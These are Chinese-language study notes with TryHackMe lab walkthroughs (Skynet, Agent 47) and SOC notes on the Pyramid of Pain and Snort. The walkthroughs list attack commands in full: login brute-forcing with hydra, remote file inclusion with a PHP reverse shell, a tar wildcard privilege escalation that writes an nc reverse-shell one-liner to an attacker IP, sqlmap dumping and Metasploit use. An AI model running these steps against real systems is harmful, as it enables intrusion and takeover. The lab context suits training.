skynet-thm

1.nmap 扫ip看开放端口
sudo -sV -sS xxxx

2.如果发现了80网站,尝试爆破子域名
使用GoBuster进行爆破
gobuster -u http://<ip> -w <单词列表位置> -t 40
gobuster dir -u http://10.10.208.26:80 -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -t 40

3.尝试访问结果403,尝试爆破smb(SMBMap 允许用户枚举整个域中的 samba 共享驱动器)
smbmap -H 10.10.208.26

从权限上看,anonymous有只读权限。通过命令
smbclient //<ip>/anonymous

(或者使用 enum4linux $ip 同样可以枚举出来,下图就是效果截图,同样看出了一个用户名为 milesdyson):

4.登陆上smb后,ls命令看目录,使用get命令获取想要的文件,使用cd 命令切换目录:

下载到本地后的attention.txt文件,显示milesdyson改过密码,可以针对这个账号进行爆破。

下图是随意输入账号密码,通过检查网页后,通过network抓包。查看request部分,得出下面的信息用于爆破

login_username=milesdyson&secretkey=dad&js_autodetect_results=1&just_logged_in=1

然后根据下图的erro信息的Unknown……等内容拼凑进命令中。

hydra -l milesdyson -P log1.txt 10.10.235.31 -V http-form-post ‘/squirrelmail/src/redirect.php:login_username=milesdyson&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:F=Unknown User or password incorrect.’ -t 20

下面是登陆进去,可以看到重置了密码

)s{A&2Z=F^n_E.B`

进到notes目录后,找可疑文件,下载到本地查看

上图发现一个目录,尝试访问它

接下来可以尝试gobuster爆破它的子目录

gobuster dir -u http://10.10.235.31/45kra24zxs28v3yd/ -w wordlist.txt的位置 -t 10

上图可以发现根据这个子目录又扫出来了一个新的目录(之前没扫出来是因为字典里没有)

5.知道是什么软件后 在 searchsploit找:
searchsploit cuppa,查找payload路径:

下图是这个漏洞的poc,根据图中的url进行修改,可以看出能本地包含。最终目的是远程文件包含。

下图是本地包含的验证

下面构建shell

使用/usr/share/laudanum/php/php-reverse-shell.php的反向shell文件,只需要修改这个文件的ip和端口为攻击机的ip和监听端口就行。

然后在攻击机开一个http服务,要通过远程文件包含,将这个shell包含到受害主机本地,在攻击机使用nc进行监听。像下图可以看到,在url包含这个shell的时候,反弹了一个shell到攻击机上。

python -c ‘import pty;pty.spawn(“/bin/bash”)’ 来得到一个交互式的shell

针对这列路径找值得关注的文件或者目录,milesdyson有一个backup文件夹,查看信息,如下图

看得出来是备份打包 /var/www/html下的文件。(注意,这有可能是定期的,所以可以关注计划任务 /etc/crontab

可见这个backup.sh真是一个计划任务。针对这点寻找利用方法来进行提权。

到了提权环节,根据sh文件中的 tar ,在https://gtfobins.github.io/gtfobins/tar/找到相关利用方式:



在一个有读写权限的文件夹下运行下面命令,如在/var/www/html下
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.64.63 1234 >/tmp/f" > shell.sh
然后运行下面的命令:
touch "/var/www/html/--checkpoint=1"
touch "/var/www/html/--checkpoint-action=exec=sh newroot.sh"
攻击机监听1234端口,就能拿到反弹的shell

agent47 -thm

sqlmap -r xxx.txt –dbms=mysql –dump

1.知道数据库类型

2.bp抓一个有输入的包

3.输入命令

得到的密码hash用john解密:
sudo john xxx.txt -wordlist=rockyou.txt -format=Raw-SHA256

使用 SSH 隧道,我们可以(本地)向我们公开端口!

从我们的本地计算机运行ssh -L 10000:localhost:10000 <username>@<ip> 相当于访问本地10000端口相当于访问目标主机10000端口。不然,一般情况下会被fw拦截(在本例子中,iptables有规则)

然后在msf那

msfconsole

search webmin

use 4

set …
set SSL false

show payloads

set payload 5

set…

run

soc1-thm

痛苦金字塔

简单地说就是被防守方发现痕迹的时候,攻击方的头疼程度。

由低到高:

  • 哈希值(不值一提)
  • IP地址(容易)
  • 域名(简单)
  • 主机工件(烦人):
    主机工件是攻击者在系统上留下的痕迹或可观察到的内容,例如注册表值、可疑进程执行、攻击模式或 IOC(妥协指标)、恶意应用程序丢弃的文件或当前威胁独有的任何内容
  • 网络工件(烦人的):
    可以是用户代理字符串、C2信息或后跟 HTTP POST 请求的 URI 模式。攻击者可能会使用以前在您的环境中未观察到的或看起来不寻常的用户代理字符串。用户代理由RFC2616定义为请求标头字段,其中包含有关发起请求的用户代理的信息。
  • 工具(具有挑战的):
  • TTP(技战法 困难的):

Snort:开源的、基于规则的网络入侵检测和防御系统(NIDS/NIPS) 

范围描述
-l记录器模式、目标日志和警报输出目录。默认输出文件夹是/var/log/snort默认操作是在/var/log/snort中转储为 tcpdump 格式
-K ASCII以 ASCII 格式记录数据包。
-r读取选项,读取Snort中转储的日志。
-n指定将处理/读取的数据包数量。Snort 在读取指定数量的数据包后将停止。